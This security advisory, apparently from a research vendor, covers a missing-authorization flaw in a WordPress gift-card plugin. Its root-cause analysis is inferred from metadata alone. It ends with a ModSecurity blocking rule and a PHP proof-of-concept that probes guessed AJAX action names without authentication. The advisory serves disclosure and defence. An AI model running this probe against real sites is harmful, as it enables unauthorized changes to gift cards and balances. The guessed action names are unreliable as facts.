Atomic Edge analysis of CVE-2026-57324 (metadata-based): This vulnerability affects the GIFT4U – Gift Cards All in One for Woo plugin for WordPress, versions up to and including 1.0.10. It is a Missing Authorization issue, classified under CWE-862. The CVSS score is 5.3, with a vector indicating network-based exploitation with low complexity, no privileges required, and no user interaction. The impact is limited to integrity (low), with no confidentiality or availability impact. The vulnerability allows unauthenticated attackers to perform an unauthorized action.
Root Cause: The root cause is a missing capability check on a specific function within the plugin. This is a common WordPress vulnerability where an AJAX handler or REST API endpoint fails to verify the user’s permissions before executing an action. Atomic Edge research infers, based on the CWE and description, that the vulnerable function likely hooks into an AJAX action like wp_ajax_{action} or wp_ajax_nopriv_{action} without checking user capabilities such as manage_options or edit_shop_orders. The absence of a current_user_can() call allows any user, including unauthenticated visitors, to trigger the function. This conclusion is inferred from the metadata since no source code is available.
Exploitation: An attacker can exploit this vulnerability by sending an HTTP POST request to the WordPress AJAX handler at /wp-admin/admin-ajax.php. The request must include an action parameter with the specific vulnerable action name. Atomic Edge research infers that the action likely follows a pattern like gift4u_process_refund or gift4u_update_status. The attacker does not need to provide a nonce or authentication cookies. The exact payload varies based on the vulnerable function’s purpose. A typical request would include the action parameter and any additional parameters the function expects.
Remediation: The vendor patched this vulnerability in version 1.1.0. The fix likely adds a capability check using current_user_can() or a similar permission verification function before the vulnerable code executes. The plugin should check for a minimum capability, such as manage_woocommerce or edit_shop_orders, depending on the operation. Developers should audit all AJAX handlers and REST API endpoints to ensure they validate user permissions.
Impact: Successful exploitation allows an unauthenticated attacker to perform a specific unauthorized action. The CVSS integrity score is low, suggesting the action has limited impact. Possible actions include changing gift card status, modifying gift card balances, or triggering email notifications. Atomic Edge research assesses this as a medium-risk vulnerability because it requires no authentication but only allows one specific action with limited consequences.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-57324 (metadata-based)
# Virtual patch for GIFT4U - Gift Cards All in One for Woo Missing Authorization
# Blocks unauthenticated AJAX requests to potential vulnerable actions
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57324 - GIFT4U Missing Authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-57324'"
SecRule ARGS_POST:action "@rx ^gift4u_(process_refund|update_status|apply_giftcard|reset_balance)$"
"chain,t:none"
SecRule REQUEST_COOKIES:wordpress_logged_in "^$"
"t:none"
# Note: This rule blocks requests when the AJAX action matches the vulnerable pattern
# AND no WordPress authentication cookie is present. This prevents unauthenticated
# exploitation while allowing legitimate authenticated requests.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57324 - GIFT4U – Gift Cards All in One for Woo <= 1.0.10 - Missing Authorization
// This proof of concept demonstrates exploitation of a missing authorization vulnerability
// in the GIFT4U – Gift Cards All in One for Woo plugin.
// The exact vulnerable action name is unknown, so this PoC tests multiple common patterns.
// Configure target URL below
$target_url = 'http://example.com'; // CHANGE THIS TO YOUR TARGET
$possible_actions = [
'gift4u_process_refund',
'gift4u_update_status',
'gift4u_apply_giftcard',
'gift4u_reset_balance'
];
foreach ($possible_actions as $action) {
$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => $action
]));
// No authentication headers or cookies are sent
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Testing action: $actionn";
echo "HTTP Response Code: $http_coden";
echo "Response: " . substr($response, 0, 200) . "nn";
}
